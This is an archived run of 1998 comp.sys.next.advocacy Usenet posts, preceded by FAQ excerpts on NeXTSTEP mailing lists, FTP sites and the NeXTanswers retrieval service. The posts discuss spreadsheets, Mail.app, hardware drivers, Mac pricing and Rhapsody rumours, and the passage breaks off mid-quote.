Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6ih2fk$aob$6718@trader.ipf.de>
Control: cancel <6ih2fk$aob$6718@trader.ipf.de>
Date: 03 May 1998 06:24:12 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6ih2fk$aob$6718@trader.ipf.de>
Sender: catrina cillone<catf@aimnet.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: 3 May 1998 05:21:04 GMT
Organization: MiscKit Development
Message-ID: <6igus0$bfd$1@news.xmission.com>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU> <Pine.NXT.3.96.980502071749.21696A-100000@entropy6>
"Rudolf B. Blazek" <blazek@stt.msu.edu> wrote:
> - Improv [...].
> The graphics can be B&W only, AFAIK. I remember having problems
> trying to use colors.
I think that this will fix it for you:
dwrite Improv UseColorPalette Yes
There _is_ a dwrite to turn colors on for charting. You still can't use them
in the sheets, though, and that's IMHO annoying.
> - I am not sure about the API, but Q can load bundles and comes with
> QAPI.
Improv has an API, too. I never got it to work very well for me, and
Quantrix is better documented. But there is an API for Improv.
> But overall, the fact that I can write bundles and use color
> graphics within Quantrix, and also the price, are the reason
> why I prefer Quantrix.
I've got both and think I prefer Quantrix, too. But the point is moot since
both products are dead. So who's going to start a new spreadsheet? One
thing I always liked about the Quantrix/Improv style spreadsheet apps is that
they are basically "linear algebra for dummies". :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: NT 5 administration
Date: 3 May 1998 09:52:36 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6ihep4$cu0$1@news.tuwien.ac.at>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi y'all!
Since there has been some amount of discussion in this group recently about
corporate IT decisionmaking, I thought I'd share a conversation I had
recently. The person I spoke with is the owner of a (by local standards)
medium sized IT consultancy company[0]. It has to be noted that he turned out
to be quite clueful by consultancy standards, having (from an engineering
viewpoint) quite strong opinions about the elegance and utility of the major
systems on the market[1].
During the conversation I asked him about his opinion of NT 5; a few days
earlier I'd read a brand new promotion brochure (brimming with drivel) that
was distributed by the local M$ pushers to anyone who cared. One of the
things that struck me as odd about the stuff advertised in that brochure was
that they claimed NT 5 to be _far_ easier to administrate than NT 4, while
laying out a whole truckload of new bizarre impediments to IT organisation
[2] a few pages further down. His reply was both expected and disillusioning
to me:
"Well, yes, I hope it is very hard to administer. How do you think I make
more money, selling IT solutions or maintaining them? Clean solutions that
don't break frequently and that companies could maintain by themselves would
be bad news indeed for my buisness!"
Ouch. So much for these guys actually wanting[3] to sell something like
Rhapsody to the masses.
just my $0.2E-32
Alexander Wilkie
obM$Rant:
Beside my PhD stuff at university, I work part-time for a small tourism
college teaching students how to use M$ office[4]. Halfway through this
academic year, the lab had to be replaced. I told the college I wanted Apple
computers[5] for my courses. Of course this was out of the question (partly
due to the "efforts" of [6]), so we're stuck with a network of 15 W95 clients
and one NT server.
a) It Simply Does Not Work At All And Gets Worse by The Day (TM)
b) I guess that the college has spent more than the price difference to Apple
machines on maintenance _already_[7]
Of course, college management still thinks it was a Good Thing to buy M$
products. Oh well...
[0] He makes his money installing and maintaining networks and servers for
companies with up to 1k seats
[1] In other words, he has, from a technical viewpoint, a hearty dislike for
M$ products
[2] ActiveDirectories et al.
[3] i.e. actively promoting it as an alternative
[4] Life means suffering ;-)
[5] Which just happen to be ridiculously overpriced here in Austria; someone
ought to wake the local Apple salespeople[6] up to the fact that their
products are good, but not twice as good as the competition
[6] Which (except for a few notable exceptions) are IMO a bunch of clueless
<insert favourite insult here>...
[7] The lab is three months old and (as stated above) Apple machines are
_really_ expensive over here.
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: Avery Ray Colter <avery@ccnet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sun, 03 May 1998 05:17:34 -0700
Organization: Verio Northern California's Usenet News Service
Message-ID: <354C604B.4A642F03@ccnet.com>
References: <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net> <B16983BC-31232@206.165.43.144> <critic-2804980001550001@p14-max41.auck.ihug.co.nz> <see-below-2804980252010001@209.24.240.56> <geordie-2804981227430001@130.130.117.53>
Mime-Version: 1.0
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With regard to the questions on color...
My original comments were based on this supposed eMac having a screen like the
Newton's. That being B&W, it wouldn't necessarily need color QD anyway, except
to map color QD back into B&W the way a desktop machine does when set to 1-bit
color.
On the other hand, all this being rumor anyway, I suppose there's little harm in
envisioning a color LCD screen like one sees on those cute little Radio Shack 2"
televisions - only a bit larger and hopefully with a significantly clearer
display.
--
Avery Ray Colter avery@ccnet.com
Voice: (925) 671-8024 FAX: (925) 671-6959
From: "Rudolf B. Blazek" <blazek@stt.msu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: Sun, 3 May 1998 09:36:42 -0400
Organization: Michigan State University
Sender: blazek@entropy6
Message-ID: <Pine.NXT.3.96.980503092858.22887B-100000@entropy6>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU> <Pine.NXT.3.96.980502071749.21696A-100000@entropy6> <6igus0$bfd$1@news.xmission.com>
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In-Reply-To: <6igus0$bfd$1@news.xmission.com>
On 3 May 1998, Don Yacktman wrote:
> "Rudolf B. Blazek" <blazek@stt.msu.edu> wrote:
> > - Improv [...].
> > The graphics can be B&W only, AFAIK. I remember having problems
> > trying to use colors.
>
> I think that this will fix it for you:
>
> dwrite Improv UseColorPalette Yes
>
> There _is_ a dwrite to turn colors on for charting. You still can't use them
> in the sheets, though, and that's IMHO annoying.
Thanks for the hint.
> [snip]
>
> I've got both and think I prefer Quantrix, too. But the point is moot since
> both products are dead. So who's going to start a new spreadsheet? One
> thing I always liked about the Quantrix/Improv style spreadsheet apps is that
> they are basically "linear algebra for dummies". :-)
I really would love to see some spreadsheet with these incredible
capabilities running under Rhapsody.
I consider Quantrix/Improv a hybrid of Spreadsheet and Database
application with _very_ nice user interface. Sure there are bugs
in the apps, but that no the point.
The point is the different approach to a spreadsheet. It is hard to
discuss the advantages of NS/OS/Rhap with Wintel users when they cannot
even imagine what such apps could look like and be capable of doing :-(((
Rudy
---
Rudolf Blazek blazek@stt.msu.edu
Michigan State University (NeXTmail, Sun, MIME compatible)
Statistics and Probability http://www.stt.msu.edu/~blazek
Date: Sun, 03 May 1998 18:03:26 -0500
From: anewmanagn@ideasign.com (Allen Newman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Message-ID: <anewmanagn-0305981803270001@a3p15.ideasign.com>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net> <6iadp1$rm3@newsb.netnews.att.com> <6ia0ii$nup$2@ns3.vrx.net>
Organization: The Milky Way Galaxy
Distribution: World
In article <6ia0ii$nup$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <6iadp1$rm3@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
>claimed:
>> Overall, PC shipments did grow, so we also know that y > x.
>> If y = x, Apple's sales volume grew by 18%.
>> If y= m * x (m > 1), then Apple's sales volume grew by 18*m %
>> or more than 18%.
>
> IDC's own statements on this topic state that Apple's Mac shipments grew at
>the same rate as the market. This is interesting considering most of the
>growth in general is in the low end where Apple doesn't (currently) compete.
>
>Maury
Exactly. If more and more people are buying computers, and you had 4% a
year ago, and you have 4% now, it means precisely that you are keeping up
with market growth. Other companies are doing better than keeping up with
market growth, and a lot of this growth is in the sub-$1000 low end, which
is a "new" market because "computers" have been redefined by multimedia
and Internet, even though there have been sub-$1000 computers, and
sub-$1000 Macs, in years before (it just happens that there is not a
sub-$1000 Mac right now, because the definition of what a Mac needs to be
now and the amount of profit Apple needs to make now doesn't fit within
that price point).
I'm dubious about attempts to expand the low-end market for
general-purpose computers. There is plenty of feeling in this industry
that nobody makes real money from cheapo computers, and there are also
surveys indicating that a LOT of people seem to think they have no use for
a computer no matter how low you price them. There are also reasons to
believe that customer satisfaction in the low-end market is likely to be
lower, and support costs higher. Although a lot of customers in the
low-end market are perfectly intelligent people just looking for the best
deal (they're welcome to get what they pay for), it's a reality that
general-purpose computers are more likely to be useful to people with high
levels of education (or students headed that way), and that educated
people tend to be higher income, and can be convinced to buy the best
machine for their needs with price less of an object -- it also helps all
industries that people at all levels of income and education often buy
stuff they can't afford, if they really want it. ;-)
Pursuing lower-income customers means getting a higher percentage of
customers with lower levels of education -- this is clearly the market
Microsoft is after with the new WebTV2 commerical featuring a wide-eyed
Joe Sixpack rather unbelievably experiencing the touted joys of
"convergence" in the electronics section of a superstore (interestingly,
the Microsoft name is never mentioned -- although they do squeeze in a
plug for MSNBC). If you, as a computer company or reseller, do succeed in
convincing Joe Sixpack that a computer is what he wants (instead of WebTV
-- which he probably doesn't want either but that's another story), it's
only a matter of them getting the machine home, and they discover that you
don't have what they want, and they'll blame you. The industry can and
should develop technological solutions for the low-end, but I don't think
the personal computer as we now have it is the right thing to sell. The
low-end needs something that delivers as much USEFULNESS dollar-for-dollar
as the high-end does, taking into account WHO is buying the product.
Usefulness is more complicated that how many megaHertz and megabytes you
can squeeze into a $499, $699 or $999 box. From my point a view, a "real"
computer system still costs $2000-$3000, same as a decade ago. I get more
for the money now, but my computer needs and wants have definitely kept up
with inflation.
--
---------------------------- ALLEN NEWMAN ----------------------------
Self-taught Mac masseur since 1984, Trek geek, theatre-school groupie,
mass comm. product, Superman fan & member of the Star Wars Generation.
----- MagicAl`s DARK FORCES Niche: http://swgamers.com/magical/ -----
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Sun, 3 May 1998 20:58:54 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <1d8gy6o.ou662yjv8vpcN@pppsl820.chicagonet.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
> I guess not you, since apparently all you use a computer for is to post to
> Usenet.
>
> People who want to run Lotus, Novell, and IBM products need Lotus,
> Novell, and IBM to support their platform. These people inhabit something
> called The Real World. This place exists in The Big Room with a Blue
> Ceiling that has a Really Bright Yellow Light. I understand that you
> haven't been there in years. It really is a lot nicer than where you are
> right now. These people have to do Real Work and solve Real (not
> Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
> networks, and other Real Things.
I went out to check out that Big Room and you don't have a clue! The
Real World exists in a Big Room with a Black Ceiling that has a lot of
Little Twinkling Lights.
In the Real World there are a lot of people doing Real Work who have no
use for Lotus, or Novell or IBM. Oddly enough, they're doing far more
than merely posting to Usenet.
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 4 May 1998 03:23:41 GMT
Organization: Occam's Razor
Message-ID: <6ijcbt$d0u$1@news.cmc.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6id2hs$6oi$1@ns3.vrx.net> Maury Markowitz wrote:
>
> Of course I should also point out this is one of the _few_ things in Mail
I
>do like. Overall I think it's quite possibly thw worst mail app I've used.
>The interface bites, it's slow, it doesn't support folders-within-folders,
it
Re: the interface, to each his own, I guess. I find the interface to be very
clean and usable. Certainly it's not the bewildering morass of icons and
other
GUI elements that M$ Outlook is.
I did want to mention that it handles folders-w/in-folders just fine.
*However*,
you need to create the folders of mailboxes in Workspace Manager (or at the
cli),
it can't be done from w/in Mail. Granted, that's not a very compelling
response
to your issue.
>doesn't have filtering, quoting, support for POP3 or IMAP4 (let alone NNTP)
Not having filtering is, at least in part, a UNIX legacy, I'd say. In the
UNIX
mindset, filtering is properly done by a separate utility designed just for
that (e.g. procmail). Granted, people nowadays expect their client to do it,
so....
Quoting, as you allude to below, is part of the EnhanceMail bundle. As is
.sig addition, which is frustratingly not included in the basic Mail.app.
I hear that POP3 (and maybe IMAP4?) is part of Rhapsody's MailViewer.
And personally, I'm glad my mailer doesn't do NNTP.
>etc etc etc (yes I know some of these can be added via 3rd party add ons).
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: echo4@NOSPAM.idt.net (JWL) --delete NOSPAM
Newsgroups: comp.sys.next.advocacy
Subject: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 4 May 1998 07:15:49 GMT
Organization: IDT
Message-ID: <6ijpv5$p11@nnrp1.farm.idt.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I am sure, that some of you guys read the "rumor" concerning the hybrid mach
running both RhapsodyDR2 and MklinuxDR2 at the same time. This is not
confirmed, but if this was true, would we want to see a Yellow Box for Linux
or would we want to see a MklinuxDR2 running side by side with Rhapsody or
would we want see Mklinux replace BSD. I thought it would be an
interesting question to post. Lastly, would someone like to comment on if
it would be possible to merge the OpenBSD/BSD4.4 code base with the Linux
code base giving the user the best of both worlds. Have a good one folks.
--
/=====================================/
Jay Lee
echo4@NOSPAM.idt.net --delete NOSPAM
(NeXTMail,SUN,MIME)
/=====================================/
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NT 5 administration
Date: 4 May 1998 07:43:14 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6ijrii$68d$1@news.tuwien.ac.at>
References: <6ihep4$cu0$1@news.tuwien.ac.at> <19980504005623986267@sdn-ts-001txhousp10.dialsprint.net>
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Cc: drifterusa@sprintmail.com
In <19980504005623986267@sdn-ts-001txhousp10.dialsprint.net> John Bauer
wrote:
> > someone ought to wake the local Apple salespeople[6] up to the fact that
> > their products are good, but not twice as good as the competition
>
> If what you say ("I guess that the college has spent more than the price
> difference to Apple machines on maintenance _already_") is true, then
> you're right that Apple's products are not twice as good, they're much
> more valuable (10X as good?).
Well...
a) Maintenance time is very expensive (at least with the contractor that
we've got).
b) The pricing picture is distorted by the fact that Apple usually sells
computers that are well-designed, not the garage-assembled Intel machines
that the average retailer sells, where sometimes only the CPU Megahertz are
reasonable and that, due to some components (in our case the monitors) being
unspeakable no-name stuff, consequently turn out quite a bit cheaper. There
are few cheapo Macs around, but cheapo PCs abound. All management sees is
that "PCs are, on average, _far_ cheaper". Sigh.
c) Given what I said in b), Macs are still way more expensive here than in
the US (comparing the prices offered in mail-order and online shopping places
to local Mac retailer prices). PC prices, on the other hand, are roughly the
same (maybe a little bit more expensive).
d) At least for building a computer network to teach students on, Apple
products would still have been worth every extra penny. Only that the term
"cost of ownership" didn't mean anything to the management.
some additional $0.2E-32
Alexander Wilkie
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NT 5 administration
Date: Mon, 4 May 1998 00:56:23 -0500
Organization: KAOS
Message-ID: <19980504005623986267@sdn-ts-001txhousp10.dialsprint.net>
References: <6ihep4$cu0$1@news.tuwien.ac.at>
Alexander Wilkie wrote:
> someone ought to wake the local Apple salespeople[6] up to the fact that
> their products are good, but not twice as good as the competition
If what you say ("I guess that the college has spent more than the price
difference to Apple machines on maintenance _already_") is true, then
you're right that Apple's products are not twice as good, they're much
more valuable (10X as good?). Apple would either have to change their
marketing or human nature (or both), however, to get most people to buy
an initially more expensive product.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: hoiboayn@mydomain.com
Newsgroups: comp.sys.be.advocacy,comp.sys.ibm.pc.games.adventure,comp.sys.ibm.pc.soundcard.advocacy,comp.sys.mac.advocacy,comp.sys.mac.games.adventure,comp.sys.net-computer.advocacy,comp.sys.next.advocacy
Subject: Personals
Date: 4 May 1998 08:25:49 GMT
Organization: None
Message-ID: <6iju2d$1h4$7@news2.xs4all.nl>
Desire's Romance Emporium Totaly Free to Browse.
Take a look at the Man and Woman who are seeking
the same You are seeking for. Browse Freely
http://www.one-and-only.com/romance/menu1.htm?11075
From: echo4@NOSPAM.idt.net (JWL) --delete NOSPAM
Newsgroups: comp.sys.next.advocacy
Subject: Re: Does Nextstep work with Ultra DMA?
Date: 4 May 1998 13:12:47 GMT
Organization: IDT
Message-ID: <6ikesf$m1u@nnrp4.farm.idt.net>
References: <6i0ubr$pq3$1@newsfep4.sprintmail.com> <6i79j6$864$2@cnn.Princeton.EDU>
Mime-Version: 1.0
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Cc: tvz@Princeton.EDU
In <6i79j6$864$2@cnn.Princeton.EDU> Timothy Van Zandt wrote:
> In <6i0ubr$pq3$1@newsfep4.sprintmail.com> "Tony Chow" wrote:
> > I'm planning on getting another motherboard with Ultra DMA controller
> > built-in. Is this going to work with any version of NeXTSTEP/OpenSTEP?
>
> I can't give an unqualified answer to this question. But a related piece
> of info is that NextAnswers has a new EIDE driver that supports
> busmastering (unlike the previous ones).
>
> tim vz
>
>
The Ultra DMA drive in my PC works fine. I have the busmastering EIDE
driver installed and it does improved performance.
--
/=====================================/
Jay Lee
echo4@NOSPAM.idt.net --delete NOSPAM
(NeXTMail,SUN,MIME)
/=====================================/
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 4 May 1998 08:33:34 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ijugu$kos$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
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Cc: mjpeck@nstar.net
In <354AC2A6.6BAD6592@nstar.net> Michael Peck claimed:
> Not the article, but Arun Gupta's commentary at the end of it.
Oops.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 4 May 1998 08:39:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ijusb$kos$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
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Cc: devnull@occam.com
In <6ijcbt$d0u$1@news.cmc.net> Leon von Stauber claimed:
> Re: the interface, to each his own, I guess. I find the interface to be
very
> clean and usable. Certainly it's not the bewildering morass of icons and
> other
> GUI elements that M$ Outlook is.
Certainly, but that strikes me as somewhat akin to "comparitive dictators".
There are very few mail apps with a good interface.
> I did want to mention that it handles folders-w/in-folders just fine.
> *However*,
> you need to create the folders of mailboxes in Workspace Manager (or at the
> cli),
> it can't be done from w/in Mail. Granted, that's not a very compelling
> response
> to your issue.
Hmmm, well at least it can be done. This goes back to the interface issue
I suppose.
> Not having filtering is, at least in part, a UNIX legacy, I'd say. In the
> UNIX
> mindset, filtering is properly done by a separate utility designed just for
> that (e.g. procmail). Granted, people nowadays expect their client to do
it,
> so....
All true, but no excuse in this case.
> Quoting, as you allude to below, is part of the EnhanceMail bundle. As is
> .sig addition, which is frustratingly not included in the basic Mail.app.
Both however are still not terribly powerful compared to those available in
almost all other apps. For instance, there's still no "paste as quote" or
similar.
> I hear that POP3 (and maybe IMAP4?) is part of Rhapsody's MailViewer.
If based on the same interface though, this strikes me as little gain.
What's worse is that all other mail apps on OpenStep, like PopOver and
Eloquent built powerful new features but based it on the same outdated
interface.
> And personally, I'm glad my mailer doesn't do NNTP.
If you have used a well designed one, it's likely you wouldn't agree. Are
you coming to WWDC?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Does Nextstep work with Ultra DMA?
Date: 4 May 1998 09:04:48 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ik0bg$kos$4@ns3.vrx.net>
References: <6i0ubr$pq3$1@newsfep4.sprintmail.com> <6i79j6$864$2@cnn.Princeton.EDU>
<6ikesf$m1u@nnrp4.farm.idt.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: echo4@NOSPAM.idt.net
In <6ikesf$m1u@nnrp4.farm.idt.net> JWL claimed:
> The Ultra DMA drive in my PC works fine. I have the busmastering EIDE
> driver installed and it does improved performance.
Oh excellent, I'll have to go get this.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 4 May 1998 09:03:31 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ik093$kos$3@ns3.vrx.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: echo4@NOSPAM.idt.net
In <6ijpv5$p11@nnrp1.farm.idt.net> JWL claimed:
> I am sure, that some of you guys read the "rumor" concerning the hybrid
mach
> running both RhapsodyDR2 and MklinuxDR2 at the same time. This is not
> confirmed, but if this was true, would we want to see a Yellow Box for
Linux
> or would we want to see a MklinuxDR2 running side by side with Rhapsody or
> would we want see Mklinux replace BSD.
I think it's safe to say that from a _technology_ standpoint it's better
off with 4.4BSD, however from a marketting point it's more up in the air.
The big issue though is from the development standpoint - it's a BSD OS now,
and porting the YB to a "real" Linux€would likely take some time.
The issue here seems to be a popularity one, Linux did not gain popularity
due specifically to it's technology. I'd would suggest Apple would be well
served to go with the best platform from a tech standpoint.
> interesting question to post. Lastly, would someone like to comment on if
> it would be possible to merge the OpenBSD/BSD4.4 code base with the Linux
> code base giving the user the best of both worlds. Have a good one folks.
Doesn't OpenBSD already compile the vast majority of Linux code?
Maury
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 4 May 1998 14:28:28 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6ikjac$4ek$1@new-news.cc.brandeis.edu>
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce5 <MPG.fb4017d7b738828989725@news.itg.ti.com>
In article <MPG.fb4017d7b738828989725@news.itg.ti.com> jmcn@msg.ti.com (Jason McNorton) writes:
>61c3ae1c098971e@news.itg.ti.com> <354A2EE8.E369E3D8@trilithon.com>
>NNTP-Posting-Host: cna0391438.itg.ti.com
>X-Newsreader: MicroPlanet Gravity v2.10.940
>Xref: new-news.cc.brandeis.edu comp.sys.mac.advocacy:98431 comp.sys.next.advocacy:28474
>
>In article Henry McGilton, henry@trilithon.com says...
>> Jason McNorton wrote:
>>
>> * Well, the problem is that the Mac vs. PC debate boils
>> * down to personal preference and biased studies. What
>> * this is really about is a major personality conflict.
>> * Mac people hate Windows people, and vice versa.
>>
>> * They hate the people in fact more than the platforms.
>>
>> * Mac people are less technically inclined overall, and
